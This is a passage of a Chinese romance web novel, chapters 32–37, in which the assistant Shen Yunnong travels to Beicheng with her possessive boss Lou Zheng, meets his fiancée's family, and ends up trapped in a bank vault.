《装乖,沈小姐最擅长啦》 第三十二章 你喜欢阿铮吗 不知道楼铮又闹的什么情绪,沈韫浓在心里打了个突。 她迅速去敲楼铮办公室的门。 里面没人应。 又敲:“楼总。” “楼总?” 突然,门往里一开。 沈韫浓保持着敲门的姿势,身体前倾,不由往里一栽。 在她摔倒在地前,被楼铮扯进怀里,接着,办公室的门在眼前用力甩上。 “楼……唔!” 沈韫浓被楼铮压在了身后的门上。 他用了狠劲,一手掐在她的腰侧,一手捏着她的下颌,强迫她张开嘴巴。 那是一个又凶又狠,带着惩罚意味的吻。 沈韫浓觉得,她的舌头都要被楼铮咬碎,吞进腹中。 巨大的压迫感让她想逃,可她却被他牢牢压着,只能被迫承受。 这个吻持续了特别久,久到来不及吞咽的津液顺着唇角流下来,落了一滴到锁骨上。 沈韫浓晕头转向,意识逐渐模糊,直到被楼铮分开腿抱坐在办公桌上,才陡然清醒。 “楼铮,不可以!请你尊重我!”她抗议,脸上是不容质疑的决绝。 “27分钟。”楼铮说。 沈韫浓没听懂:“什么?” “沈韫浓,你在停车场和楼凤栖在车里呆了27分钟。”楼铮冷冷道。 沈韫浓:“……所以呢?” “做了什么?”楼铮掐她的下巴,“别逼我对你发火。” 他居高临下地看她,眸子黑沉沉的,都是怒气。 沈韫浓很不喜欢这种感觉,但她耐着性子解释:“没做什么,聊了聊工作。” “你是我的人,需要跟他聊工作?” 沈韫浓:“刚才是下班时间。” “呵,狡辩。”楼铮冷笑,“沈韫浓,别以为我不知道你安的什么心,你不就是想要勾引楼凤栖吗? 都看到他跟许春安的关系了,还不死心呢?” 他果然发了大脾气,手下没个轻重,捏得沈韫浓生疼。 楼铮发脾气,沈韫浓觉得委屈。 他又不会娶她,还总不许她跟别人来往,管得是不是太宽了一些? 于是,她也笑了一下,定定地看着楼铮:“凤栖总那么优秀,我当然不会死心。他只要最后娶的人是我,跟别的女人做什么,我睁一只眼闭一只眼就是了。” 楼铮大概没想到沈韫浓会这么说。 他胸口剧烈起伏了两下,松开了钳制她的手。 楼铮退后两步,定定地看着她:“滚出去。” 声音不大,压迫感却足得要命。 沈韫浓没有再争辩,从桌上下来,利落离开。 那天,她的心里蒙上了一层灰。 这之后,楼铮有一个多星期没理她。 有什么工作也都甩给别的助理,偶尔碰到了,沈韫浓硬着头皮打招呼,楼铮也目不斜视。 沈韫浓多多少少有点不舒服,但她很善于劝自己,在这种事上略微想一想也就想通了,不至于内耗。 反正也是没可能的人,早断早踏实。 再跟楼铮有交集,是一个多星期后。 潘琳安排她跟楼铮出差,说是原本安排的二助,但二助孩子生病住院走不开,只能临时换了她。 五个助理中,就她是单身,长途出差也的确合适。 沈韫浓没有推脱,主动去楼铮办公室问了行程计划,定了机票。 楼铮全程对她爱搭不理,她也没有放在心上。 不坐私人飞机的时候,楼铮自然是坐头等舱,沈韫浓沾他的光,也感受了一下高等服务。 但楼铮全程寒着脸,不理她,她在一旁便也如坐针毡。 海市飞北城2个半小时,沈韫浓闭上眼准备睡过去。 这时,有位衣着华丽的女乘客过来,跟她客气商量。 “小姐,我订票比较晚,没有订到头等舱,方便换一下座位吗?作为回报,我出双倍的机票钱。” 又能逃离低气压,又有钱拿,沈韫浓简直求之不得。 可她还要意思意思,问楼铮:“楼总,我可以跟这位女士换座吗?” 楼铮哼了一声:“随意。” 于是,沈韫浓开开心心掏出手机收款码,收了那人一万块,换到了经济舱去。 在经济舱的两个半小时里,她没吃飞机餐,但喝了果汁,吃了赠送的小点心,看了电影,挺开心的。 飞机落地时,沈韫浓去找楼铮,正看到那位跟她换座位的美女掏出手机加楼铮微信。 那位美女兴奋得双颊泛红,笑得跟朵花儿一样。 沈韫浓看着,心里有隐隐的不舒服。 她刻意忽略这点感受,她算什么,莫非还吃起醋来了? 落地北城,是下午5点,楼铮的一个老朋友霍司岐亲自来接。 霍司岐五官比楼铮柔和,戴金丝眼镜,一派文质彬彬的模样。 可他那双眼睛在沈韫浓脸上逡巡,带着满满的探究意味,让沈韫浓下意识回避他的目光。 这个眼神,像谁呢?沈韫浓一时间想不起来。 直到后来一起吃饭,她才慢慢意识到:像周彦。 霍司岐一定也觉得她跟楼铮有一腿,他甚至没问他们是什么关系,只是一双眼睛盯着她,时时刻刻准备吃瓜。 从机场出来,霍司岐便带他们到了一家餐厅。 他跟楼铮聊生意上的事,沈韫浓端着一小碗奶油蘑菇汤神游天外。 “喂,傻了?”霍司岐把手伸到她面前打了个响指。 “嗯?”沈韫浓回神,“怎么?” 霍司岐道,“算了,我问他吧。” 随即,他转头问楼铮:“你小女朋友酒量好吗?能不能喝两杯?” 沈韫浓:“……” 这误会可大了。 她赶忙接话:“楼总女朋友能不能喝我不清楚,我倒是可以喝一杯。” 她都佩服自己的临场反应能力。 楼铮冷笑一声,大概是笑她的自作聪明,他不喜欢自恃聪明的女人。 沈韫浓又垂下眼去,没有作声。 霍司岐如何看不出这诡异的氛围? 他偏要逗沈韫浓:“你不是阿铮女朋友吗?” 沈韫浓老老实实:“我是助理。” 霍司岐意味深长:“近水楼台先得月,你是助理,天天在阿铮身边,机会都比别人多些。” 沈韫浓不作声,不接霍司岐的话茬。 她直觉如果自己说对楼铮没兴趣,他又要生气。 可霍司岐没有那么容易放过她。 他直接问到脸上:“你喜欢阿铮吗?” 第三十三章 不妄想月亮 心脏没来由的剧烈跳动起来。 沈韫浓面上波澜不惊,努力压下自己的情绪。 “楼总是我的老板,不敢有歪心思。” 这个答案依然不能让霍司岐满意,他抬了抬眉毛,继续:“我就不信你没有想过。” 沈韫浓:“……” 想过又如何?想想又不犯法! 楼铮垂眸喝了口酒,好似根本没有听到两人的对话一样。 沈韫浓不得不放下手里的蘑菇汤,正色道:“谁会想要把天上的月亮据为己有呢? 霍少,近水楼台先得月这话,本来就有问题,水里能看到的,不过是月亮的影子,何必空欢喜一场。” 这话她本来可以不说,打个马虎眼就过去了。 是霍司岐一再要问,逼得她把话说透。 果然,此言一出,谈话进了死胡同里。 霍司岐原本是看出了楼铮看沈韫浓的眼神不一般,原本想撮合两句。 谁知道沈韫浓清醒成这个样子。 他小看了她。 氛围陷入尴尬,沈韫浓借口去洗手间,出去透口气。 包间里只剩下了楼铮和霍司岐两人。 楼铮点了根烟,看着门口的方向,眸子里一片他看不懂的情绪。 霍司岐干笑:“你这小助理还真是个有自知之明的,不太容易被诱惑,想征服她不容易。” 楼铮衔着烟,眼神也没有收回,还钉在门口:“就你多嘴。” 霍司岐不服气,眉头皱起来:“要不是看你一把年纪了还是童子鸡,你当我愿意管你?难不成,你的第一次还准备留给陈知意?” 楼铮神色淡淡:“睡过了。” 霍司岐惊讶的嘴巴里能塞进一个鸡蛋:“跟……谁?” “她。” 霍司岐懂了。 他也拿楼铮的烟盒,给自己点了一根。 “所以,你们两个闹脾气,是因为你不肯娶她?你这种家庭情况,婚姻大事确实……” 楼铮:“她问都没问我,我从来不在她的选项里。” 这下霍司岐彻底老实了。 他觉得一定是自己看错了,楼铮这样的人,眼底不可能有委屈。 沈韫浓从外面回来已经调整好了情绪,她又变得跟什么都没发生似的。 一顿饭吃完,已经是晚上9点多,霍司岐又将他们送去了酒店。 楼铮住总统套,沈韫浓给自己开了间普通大床房,同一楼层。 她将行李送到楼铮门口,乖顺垂眼:“晚安,楼总。” 根本没想过等楼铮回应,说完,她淡然转身。 楼铮倚着门,在身后叫她:“沈韫浓。” 沈韫浓立定转身。 楼铮:“我不是天上的月亮。” 莫名地,沈韫浓心里升起一抹淡淡的惆怅。 她想说你是,你就是遥不可及的人,又觉得太矫情。 便只是点了点头:“刚才霍少太烦,我随口说的,楼总,您别往心里去。” 楼铮皱眉,一步到她面前,又托起她的脸来。 “你要闹脾气到什么时候?”他眸子黑沉沉睨着她。 自己甩了一星期的脸子,反过来要怪她闹脾气。 可沈韫浓知道,这是台阶,再不下就没了。 她赶忙认怂,声音放软:“你那天真的吓到我了,我也不是不理你,就是怕一直跟你说话,你嫌我烦。” 也许,她迎着楼铮的目光看上去还挺坦然,楼铮松了手。 “好好休息,明天白天去峰会,晚上一起去逛逛。”他说。 沈韫浓松了口气。 活祖宗消了气,她的工作也会更好开展。 当晚她睡得挺香。 第二天白天,又跟楼铮开了一天的会。 这段时间的接触下来,沈韫浓才发现,楼铮并没有看上去的闲。 也许他表现的太松弛,才让她有种他比楼凤栖闲的错觉。 事实上,楼铮是全楼氏集团最忙的人,工作起来更是严肃到不近人情。 豪门继承人,这几个字的含金量,在沈韫浓心里不断上升。 也越是这样,她越清楚两人的鸿沟。 不要试图摘月亮,会被人当成猴子笑话的。 晚上,楼铮没有去应酬,他问沈韫浓有没有想去的地方。 沈韫浓便搜了地图上的商业街给他看,是北城的小吃一条街。 楼铮轻微洁癖,对这种地方有点排斥,但奈何沈韫浓喜欢,看着她亮晶晶的眼睛,他实在说不出拒绝的话。 两人坐网约车前往,沈韫浓拿出一个助理的样子来,坐副驾,让楼铮独自坐后排。 可即便如此,没有眼力见的司机依然问:“小姑娘,跟男朋友来北城旅游啊?” 沈韫浓还没开口,后座的楼铮淡淡道:“出差,谈点生意。” “哦哦,怪不得你那么贵气,一看就是有钱人。”司机夸他,又看沈韫浓,“你们两个郎才女貌,很般配!” 沈韫浓想反驳,可看楼铮不动如山,便也没作声,硬着头皮把司机的夸赞收下。 北城的商业街很长,从东到西足足两公里。 沈韫浓买了不少吃的,后来自己拿不了,竟然还敢胆大包天塞给楼铮。 楼铮倒是看上去心情不错,脸色比前几天好看多了。 沈韫浓用竹签扎起一块狼牙土豆,咬了半根,被辣得直流眼泪。 “你要尝尝吗?”她问楼铮,示意他拿一根新竹签。 楼铮没拿,握住她的手,一低头,把她剩下的那半根土豆吃了。 这…… 望着空了的竹签,沈韫浓的心怦的一声。 那次他把自己的烟放入她唇间,不久前,他尝她唇边的舒芙蕾碎屑,到底是只有两个人的时候,有暧昧氛围的加持,不觉得怎么样。 可人来人往的步行街上,这个动作太像男女朋友会做的。 沈韫浓不自然地别过眼。 楼铮却像什么都没发生似的,神态自若。 又过了一会儿,一个女声突然惊喜道:“果然是你!” 二人转头,便看到了一个大衣里穿吊带红裙的女人走来。 那女人越走越近,神情雀跃。 沈韫浓反应了好一会儿,才想起,是飞机上高价跟她换座位的美女。 此时,美女把纤纤玉手搭上楼铮肩膀,媚眼如丝:“既然这么有缘分,一起去喝一杯?” 第三十四章 等不起了 沈韫浓特别佩服这位搭讪的美女。 毕竟楼铮虽然长得好,可气质太过冷淡,那样生人勿进的一张脸,也不知道她怎么敢的。 见美女这么主动,沈韫浓忙退了一步,给她让出发挥空间。 主要是她也想看楼铮的反应。 楼铮看沈韫浓退后,微微皱了一下眉头。 他伸手,捏着美女的袖口,把那只红色美甲的手从自己肩上扯下了去。 “这你要问我老婆。”他淡淡地说。 “哈?”美女好像听到了什么不可思议的事,眼皮抖了抖,“你有老婆?” 又转头不可思议地看着沈韫浓:“不会是你吧?” 沈韫浓的“不”字还没说出口,看了楼铮不耐烦的脸色,秒懂。 忙走到两人面前,把头往楼铮身上一靠:“是我,没想到吧?不过我们备孕呢,暂时喝不了酒,不如有机会再喝。” “什么,你是他老婆,不是助理吗?”那美女眼球震荡,却依然不死心。 楼铮:“白天是助理,晚上是老婆。” 他抓了沈韫浓的手,和她十指相扣。 沈韫浓不习惯,小幅度挣扎了一下,察觉到楼铮手上用力后,便先行收敛,没有挣脱。 那美女看着两人的样子,自讨没趣地走开了,临走,还凑在沈韫浓耳边小声道:“你丈夫为了一万块就同意你去经济舱,看来也不是很爱你嘛。” 沈韫浓神色淡定:“多谢提醒,以后再有这样的机会我还跟你换。” 那美女气急,翻了个大大的白眼。 看着她的背影,沈韫浓又想起了许家宴会上那只花蝴蝶,不由笑出声来。 “好笑吗?”楼铮问。 沈韫浓马上敛了笑,一本正经:“还行。” 楼铮哼了一声,双手捧住了她的脸。 他的脸在她面前一点点放大,沈韫浓在以为他要亲上来时,下意识闭上了眼睛。 谁知,他也只是用大拇指指腹蹭了蹭她的唇。 “有酱汁。”楼铮说。 皇帝的酱汁。 沈韫浓睁开眼,便对上一双幽深莫测的眼睛。 她心脏乱跳,不得不先转身走在前面,才能掩饰自己的尴尬。 回到酒店,已经是深夜。 沈韫浓依旧乖乖站在总统套门口跟楼铮告别:“晚安楼总。” 楼铮突然伸手,在身后抱住她。 “一起睡吗?”楼铮把下巴搁在她的肩上,在她的耳旁问。 他的嗓音低低哑哑,性感得要命。 一呼一吸间的热气,让沈韫浓每个毛孔都张开了。 高高在上的漂亮男人,邀请她一起睡,简直是天大的诱惑。 沈韫浓觉得,她要是没点定力,这份工作是真的做不下去了。 她不敢回头,生怕自己沦陷。 “我生理期。”她面无表情地撒谎。 楼铮松手:“晚安。” 身后的手臂放开,沈韫浓头都不敢回,火速跑到了自己房间。 开门,进屋,关门,一气呵成。 她落荒而逃,快得如同正在被人追杀。 楼铮在门口看着那抹背影逃开,眼神晦涩不明。 不是生理期,她在夜市上还吃了一支三个球的冰淇淋。 翌日,是楼铮行程的最后一天。 他去找同样在北城的陈兴邦,那是陈知意的父亲,楼铮未来的岳父。 这个行程是一早定下的,沈韫浓出差前就知道。 可她就是情绪很低,提不劲儿。 不得不在吃早餐的时候给自己灌了两杯美式下去,勉强让自己兴奋起来。 沈韫浓知道,她这个样子很不应该。 且不说跟楼铮那几次都是你情我愿,细究起来,她自己更主动。 楼铮不欠他,她不该对他有任何不切实际的期待。 早餐结束,楼铮安排的司机来接,两人一前一后上了车。 沈韫浓准备坐副驾,被楼铮乜了一眼:“你要我探着身子跟你聊工作?” 于是,她老老实实坐在了后排,刻意挪了挪,跟楼铮分出楚河汉界。 楼铮冷笑:“沈助理,今天不是用得着我的时候了?” 他的“用得着”可以是很多时刻,可沈韫浓不由自主就想起了两人的第一次。 她垂着眼,避免跟他肢体接触:“今天去见老陈总,还是保持点距离好。” “怎么,怕‘奸情’败露吗?”说这话时,楼铮凑在她耳边,沈韫浓猛地一抖。 注意到她的反应,楼铮倏地一笑,伸手把她抱到了自己腿上。 车内的挡板又适时地落下,沈韫浓发现,在这种事上,楼铮的司机出奇得有眼力见。 也不知是不是常替老板坐这种事的缘故,毕竟,楼铮那么会,说不定就是个风月场上的老手。 沈韫浓腹黑地想。 “专心点。”楼铮托她的下巴,强行唤回她的注意力,接着,就要吻她。 沈韫浓努力别开脸,抿着唇,躲开他的吻。 “沈韫浓,张嘴。”楼铮的语气,带着命令和求索。 “我们不能这样了,楼铮。”沈韫浓终于把憋了许久的话说出口。 “不能?”楼铮轻笑一声,猛地将她的脸抬起来。 他幽深的眸,没有一丝浮动,静静地,带着几分沉冷地盯着她。 “沈韫浓,从你主动招惹我那天起,你就没有任何退路了。” 他低头,不轻不重地咬了一下她的唇,“乖乖跟着我,你想要的那些东西,地位,名分,钱,哪一样都会有。” 车子正往他准岳父在北城的庄园里开,楼铮准备的礼物,也是按照姑爷见岳父的最高规格准备的。 可他现在说什么? 让她乖乖跟着他! 车子驶入隧道,陷入一片黑暗里。 这片黑暗,像极了她风雨如晦的人生。 原本可以不用这样! 如果没有楼铮,她现在哪怕不是楼凤栖的太太,也不至于毫无进展! 他说她招惹,更是无稽之谈。 她分明一直在尽可能躲他,是楼铮自己一次次出现,逼得她无路可退。 委屈感来得太快,没来及藏。 “跟着你,给你做小三,二奶,还是姨太太?” 沈韫浓在黑暗中冷笑,挣扎着要从他腿上下去。 楼铮抱着她是手臂收紧了一点,沉默了足足一分钟之久。 “你才20岁,就等不起了?”他问。 第三十五章 以小博大 沈韫浓头一次觉得的隧道这样长,黑暗没有边际,让她不安。 她的感官被无限放大,楼铮的气息将她整个人罩住,鼻端是他身上的木质香水味,隔着衣服,她也能感受到他的皮肤温度。 沈韫浓挣扎了几下,但两人的体力差距太过悬殊,被楼铮的手臂牢牢困着,她根本动不了。 试了几次,她索性放弃,就这么任他抱着。 “我真的等不起。”在黑暗中,她幽幽开口。 声音很低,语气尽可能诚恳。 “楼铮,我不想告诉你,我在沈家过的是什么样的生活。但除了高嫁,我没有别的路可走。” 沈韫浓不是没想过要像那些女强文小说里的女主一样,做一番事业出来,出人头地。 可那太慢了,沈英耀之所以走到这一步,已经是几代人的托举。 她的人生不是女强爽文,要靠她一个普通20岁女孩的一己之力去对抗资本家,无异于蚍蜉撼树。 不是不可能,但太慢了。 拖得越久,她被毁掉的东西就会越多。她不是顾曦薇,没办法装聋作哑麻痹自己。 沈韫浓把自己抽离,从一个局外人来观察自己,她最大的优势也不过是这张脸。 身后的人沉默了一瞬,此时,车子开出隧道。 红日初升,他们暂时脱离了黑暗,可沈韫浓透过车窗往远看,远处的山岚上还罩着一层雾。 楼铮的脸凑得很近,她没有错过他欲言又止的眼神。 在那一刻,他一定是想承诺点什么,却在权衡过后逼自己吞回了腹中。 她自己都是个时刻权衡的人,又怎么能要求别人对她坚定呢? 楼凤栖在楼家那样边缘,尚且想找个女孩“强强联合”。 楼铮是楼家的权力中心,他怎么选,根本不需要猜,甚至,他根本没有选的余地。 对于楼凤栖,沈韫浓多少还做做梦。对楼铮,她连梦都不会做。 本以为话说到这个份上,楼铮会放手。 谁知,他还是伸手扣住她的后脑,吻了上来。 楼铮的唇间是咖啡的苦香气,强势的入侵着她口腔的每个角落。 他的手很用力,不给她任何可以逃脱的机会。 由浅入深的吻,带着不容抗拒的进攻性,仿佛要把沈韫浓的人和心都拆吃入腹。 可他一边亲,一边又耐心地用指腹碾磨着她的后颈,极尽温存。 沈韫浓原本还一肚子火气,后来在楼铮的软硬兼施下,竟然奇异地得到了安抚。 她被带动,慢慢沉浸其中。 车子平稳行驶,车内的温度一度攀升,沈韫浓坐在楼铮怀里,呼吸纷乱。 她像一个刚会游泳的人被丢进浩瀚大海,只得拼命抱紧楼铮这根浮木,随着他沉浮。 结束时,沈韫浓软在了楼铮身上,她的额上出了一层薄汗,靠着他的胸膛小口地喘着粗气。 楼铮咬着她的耳垂低语:“沈韫浓,在游轮上,你明明是个很厉害的赌徒。那么擅长以小博大,为什么不试试看呢?” 试试看什么?试试看能不能长线放远鹞,钓到他这个大鱼吗? 沈韫浓心底一阵苍凉。 车子驶入陈兴邦的酒庄,她惊醒,从楼铮身上下来。 之后,用手机前置相机充当镜子,迅速检查自己的妆容。 唇膏被他吃掉了,左侧的耳垂红红的,细看有一个不大不小的齿痕,但社交距离应该看不出。 再看楼铮,他的真丝衬衫前襟上有一片暧昧不明的褶皱,是被她手心攥出来的痕迹。 “你衣服……会被看出来。”她低声提醒。 楼铮抬了抬眉:“所以呢?” 沈韫浓:“……” 看楼铮有恃无恐的模样,她突然想,是不是自己对豪门联姻还是不太了解。 或许,在他们的规则里,原本就是可以在外面玩的,只要彼此留几分面子,别闹得人尽皆知就好。 可她不该是楼铮的消遣。 陈兴邦派助理来接他们。 “陈总现在有个重要会议要开,差不多10点钟结束,麻烦您稍等。”那位助理对楼铮说,“陈总说,今天晚上给您准备了房间,您可以明天一早返程。” 不用马上面对陈兴邦,楼铮便多了换衣服的时间,沈韫浓莫名松了口气。 助理带他们去客房,两人的房间挨着。 沈韫浓沉默着把楼铮的行李送进去。 “楼总,那我一会儿来叫您。”她又恢复了工作中的态度。 楼铮在沙发上坐下,交叠双腿,抬眸看她:“沈韫浓,你要是这么沉不住气,就不适合留在楼氏。” 这句话,听在沈韫浓耳内,简直是敲响了警钟。 她在闹什么情绪?别到时候楼七太太没做成,连饭碗都丢了。 沈韫浓赶忙调整,露出一个职业微笑来:“楼总教训的是,我一定吸取教训,以后更加专业。” 她不做停留,迅速走开了。 望着那抹纤细的背影,楼铮的眸子沉得更厉害。 他知道他的暗示她没听懂,却也不能承诺再多了。 10点一刻,沈韫浓敲门来叫他。 她换了一身更加低调的黑西装,面带微笑,果然如自己所说,吸取了“教训”,看上去知性优雅情绪稳定,再无一点情绪化。 楼铮心口一堵。 他也换好了衣服,什么都没说,便跟沈韫浓一同出了门。 他们直接去酒窖门口跟陈兴邦汇合。 陈兴邦看上去四十多岁,穿一件卡其色羊绒大衣,头发浓密,人也没有发福,看上去很儒雅。 他热情地跟楼铮握手寒暄,那笑容和沈英耀简直如出一辙。 沈韫浓讨厌沈英耀,连带着也很不喜欢陈兴邦。 陈兴邦带楼铮去挑酒,准备午餐的时候喝,沈韫浓不远不近地跟在两人后面。 期间,陈兴邦用余光打量了她好几次,还回了一下头。 “这是新助理?”陈兴邦问。 楼铮点头:“刚转正的实习生,老太太调给我的。” 陈兴邦“哦”了一声。 “长得这么好,怕是知意要有危机感了。” 楼铮也侧了一下头,用余光看沈韫浓一眼。 她穿这样低调的黑西装,已经在极力压制美貌了。 此时,她正垂着眼,眉头微蹙,若有所思。 在遇到沈韫浓之前,他从来没发现有谁这么喜欢垂眼。 好像这样就能藏起眼神里的所有情绪和欲望。 楼铮的目光又不动声色地收回:“不会,知意觉得自己天下第一美。” 第三十六章 危机感 陈兴邦闻言大笑:“你倒是了解她!” 楼铮也笑了一下,开始认真选酒,不再多言。 “喝这一支。”陈兴邦拿了一瓶木兰朵M12出来,“这瓶的年份好,最热情馥郁。” “听您的。”楼铮不发表意见。 陈兴邦又笑:“你果然和我一样,眼睛往上看,什么都要最好的。” 这话有点意思。 楼铮转了个弯,开始参观起陈兴邦的酒窖。 隔着一排排的橡木桶架子,他看等在门口附近的沈韫浓。 沈韫浓立在那里,眉目清浅,若有所思,眼睛并没有往这边看。 她穿最普通的黑西装,身上除了胸口那个“楼氏集团沈韫浓”的金属名牌,什么装饰都没有。 脸上几乎没有妆,只浅浅化了个眉毛。 可男人看得懂她的美貌,而且,男人在这方面无师自通,很容易发现一男一女关系的微妙之处。 沈韫浓老实规矩,连话都没说几句,可她的出现,让陈兴邦替女儿产生了强烈的危机意识。 即便如此,陈兴邦还要替陈知意挽尊,说他的女儿才是“最好的”。 楼铮想起了沈韫浓那句话,便用来回他:“谁不想过好日子呢?” 此时,陈兴邦眼神里的紧绷感才散去,瞬间松弛下来。 两人没有再谈论沈韫浓。 午餐的时候,沈韫浓被陈兴邦的助理叫走,吃工作餐。 陈兴邦和楼铮去了小餐厅,两人吃饭饮酒,一个多小时才结束。 沈韫浓在外面走廊的椅子上等。 秋日的太阳透过窗子照下来,暖烘烘的。 她靠着墙,晕碳打起了瞌睡,做了一个梦。 梦里,她结婚了,如愿高嫁。 她穿秀禾服,办最隆重的中式婚礼,同样大红色喜服的新郎抱着她去拜堂。 周围人声鼎沸,人人都在艳羡她。 沈韫浓睁大眼睛,想看清新郎的脸。 可不知怎么,新郎的脸蒙着一层雾,五官异常模糊。 她想听他的声音,他也不肯开口,只小心翼翼托紧了她。 “你是谁呀?”沈韫浓问。 “大中午睡傻了?你说我是谁。”一个声音似从虚空里传来,带着点浅笑。 有人捏她的鼻子。 缺氧的感觉来袭,沈韫浓被憋醒。 一睁眼,看到了楼铮。 楼铮喝了酒,脸有点红,看上去心情不错,居高临下地盯着她,眼底一片幽深。 沈韫浓揉揉眼睛站起来:“抱歉楼总。” 她神态里带着鲜有的懵懂,眼里也蒙着一层雾气。 楼铮就这么看着她,也不催促,没有不耐烦。 “刚才吃饱了吗?”他问。 “嗯。”沈韫浓怔怔点头。 她其实并没有听进去他在说什么,满脑子都是刚才的梦。 不知听谁说过,这世上没有好梦一说,所有梦都是噩梦。好梦因为不能成真的缘故,让人空欢喜,更加可恶。 也许,懵懂过后她的神情里有一瞬间的失落,让人心软。楼铮的神情也柔软了几分。 “先去休息,下午三点去马场骑马。”他说,刻意把脚步放慢,慢慢等她。 沈韫浓跟在身后,回了声好。 他走在前,她在后面慢慢跟着,不知道楼铮什么时候停了下来,转身看她。 沈韫浓一个分心,撞到了他的胸膛上。 楼铮很高,她的脸撞在他的胸口上,扎实的肌肉触感,撞得她鼻梁生疼,沈韫浓捂住鼻子“哎哟”一声。 她退后半步,才看到楼铮盯着她看,眼神里是她不懂的情绪。 他的眼睛像两汪深潭,把一切都吸进去,包括她。 沈韫浓心紧了紧,眼里的雾气散去,恢复清明。 “抱歉,楼总。”她说。 楼铮没接她的话,而是说:“一会儿陈知意也会来,你别多想。” 多想什么? 这个预防针打的不知所谓。 午休时间,沈韫浓却睡不着了。 她看客房里有速溶咖啡,便泡了一包慢慢喝,让自己彻底醒透。 她复盘自己的言行举止,觉得确实过了。 被楼铮见准岳父影响心情,实在不应该,能被他看出情绪,更是不合格的。 既然没有可能,就该尽早抽身。 下午3点,一行人准时出现在跑马场。 楼铮换了骑士服,白得欺霜赛雪,越发衬得人矜贵。 沈韫浓不用骑马,在场外等着就好,还穿她那身基础款的黑西装。 陈兴邦也换好了衣服在等他们。 不一会儿,只听一个娇俏的声音道:“你们自己骑马就骑马,怎么偏要叫我一起,我又不会!” 是陈知意来了。 她也换好了骑士服,跟楼铮一样的白色,英姿飒爽中又带了一点俏皮。 这两人,一个骄,一个娇,天生一对。 此时,已经有工作人员牵了马过来。 楼铮和陈兴邦父女便跟着工作人员一同往跑道方向走去。 两匹马,陈兴邦一匹,楼铮和陈知意一匹。 沈韫浓站在场边,楼铮和陈知意有点远,她的位置,能清晰地看到楼铮线条凌厉的侧脸。 也能看到楼铮在跟陈知意说话,只是听不到他们在聊什么。 陈知意要上马,楼铮托着她的手臂,将她扶了上去,替她牵缰绳。 在马上的视野更好,陈知意好似才看见场外的沈韫浓一般。 她的惊讶表情只出现了一秒,之后迅速收回。 “这不是那天的漂亮司机嘛,怎么成了你的助理。”陈知意说,又狡猾地对楼铮眨眼,“刚说完你不喜欢这一款,这是换口味了?” 楼铮没有接她的话,却也看了看场外的沈韫浓。 怎么会有人这样单薄,存在感还这样强的? 陈知意见楼铮不言语,用脚轻轻踢了他的胯骨一下,神情不满:“跟你说话呢。” 楼铮似笑非笑:“怎么,我要回答是,你也要把她赶出海市吗?” 陈知意撅嘴:“说得跟我多霸道一样。这个长得不错,虽说出身不高,但你跟她睡,也不算丢我脸。” 她又往楼铮耳边凑了凑:“怎么样,需不需要我搭桥?” 楼铮笑了笑,那笑容却不到眼睛里。 “她是老太太指派给我的助理,你动她的时候,掂量掂量。” 陈知意越发不满,她嗓音发尖,拔高:“楼铮你有病是不是?我把小七月赶走,是觉得你跟一个唱戏的走那么近跌份儿,你说的倒好像是我喜欢你,见不得你身边有女人似的!” 两人虽说话不投机,但穿一样的骑士服,一个在马上坐着,一个牵着缰绳立着,远远看去,画面出奇的和谐唯美,谁见了都要夸一句郎才女貌。 “他们很般配,是不是?” 陈兴邦已经绕了一圈回来,见两人还没开始,在场外对沈韫浓笑道。 第三十七章 被困 沈韫浓没想到陈兴邦会跟自己搭话,怔了一下,又迅速回神:“是。郎才女貌,天造地设。” 陈兴邦许是没料到沈韫浓用词这么老气,也怔了一怔。 他翻身下马,把缰绳交给工作人员,随意找了把椅子坐下。 “你多大?”他问。 沈韫浓老老实实:“20岁。” “这么年轻就已经工作了。” “读书比较早。” 顾曦薇带着她去澳城那年,她小学还没读完,后来到了沈家,便直接念了中学。 陈兴邦似乎对她的回答挺感兴趣,竟然还有意向继续聊下去。 “你年纪小,很多事情还没经历过,可能不太清楚。在一段婚姻里,郎才女貌四个字是最不值钱的。婚姻的本质是价值交换。” 这话已经是明显的敲打了。 沈韫浓想不明白自己有什么出众之处,值得陈兴邦亲自下场替女儿捍卫感情。 也不知是陈兴邦爱女心切,还是高看了她。 她笑了笑:“陈小姐跟楼总郎才女貌是事实,门当户对更是有眼睛的都看得出来,天底下哪里有比楼总和陈小姐更般配的呢?” 陈兴邦很满意她的话。 “沈助理这样通透又会说话,想必追求者很多吧?” 沈韫浓泰然自若:“是有一些,但我已心有所属。” “是我认识的人吗?” “楼家七爷。” 陈兴邦倏地笑了,神色都放松下来。 “沈助理和凤栖也很般配。” 这时,有工作人员端了饮料过来,陈兴邦亲自拿了一杯递给沈韫浓:“陈家跟楼家一直是故交,有什么需要帮忙的,可以跟陈叔提。” 陈兴邦欣赏她知进退。 沈韫浓客套:“我先多谢陈总。” 她的眼睛又忍不住往马场看去。 陈知意往前骑了不到200米,应该是耍赖不肯骑了,张开双臂等楼铮把她抱下来。 楼铮迈着长腿走过去,双手放在她的腋下,举孩子一般轻松,将她抱下了马。 又过了一会儿,他们也走到了休息区坐下来。 “怎么不骑了?”陈兴邦问。 楼铮:“还不是某些人娇气。” 陈知意老大不乐意:“你们怎么喜欢这么野蛮的运动,马鞍硌得我屁股疼。” 陈兴邦宠溺大笑:“你这孩子,口无遮拦,哪里有点大家闺秀的样子!” 陈知意喝热饮,又要了一块草莓布丁。 布丁端上来,她用勺子背面拍打。 草莓水晶在盘中“duang”地晃了一下,看上去无比Q弹。 陈知意娇俏地睨楼铮:“我最近估计是被你带的,也特别爱吃甜食了。” 楼铮嗤了一声:“自己贪吃要怪别人带坏。” 陈知意起身要去揪楼铮耳朵,都走到了他身前,到底是没敢,又坐回了椅子上。 沈韫浓全程眼观鼻鼻观心,目不斜视。 但陈知意还嫌她碍眼。 “沈助理,你帮我个忙好不好?” 陈知意说,她在银行存了个东西,是准备过几天拿给楼老太太的80岁大寿礼物。 “今天正好让阿铮参谋参谋,别人去取我不放心,你帮我去取好不好?” 沈韫浓心知陈知意应该是想支开她,看了一眼楼铮。 楼铮还没说话,陈知意故意看着他笑道:“把助理给我用用呗?” 陈兴邦的酒庄在郊区,沈韫浓最终倒了三趟地铁,到了陈知意说的那个银行。 陈知意安排了银行经理在等她。 在那位经理的带领下,沈韫浓进了专门的储物间,经理等在外边。 她从保险柜里拿出礼盒时,头顶的灯瞬间熄灭,警报声响起,身后的大门迅速进入警戒状态,自动反锁。 一切发生的太快,快到沈韫浓起初都没有反应过来。 四周陷入一片黑暗里,她摸索着走到门口。 厚重的防盗门紧闭,只有应急灯闪着微弱的光。 沈韫浓用力捶门呼救。 那位经理用对讲机对她喊话:“沈助理,您别急,应该是停电了,我们马上处理。” 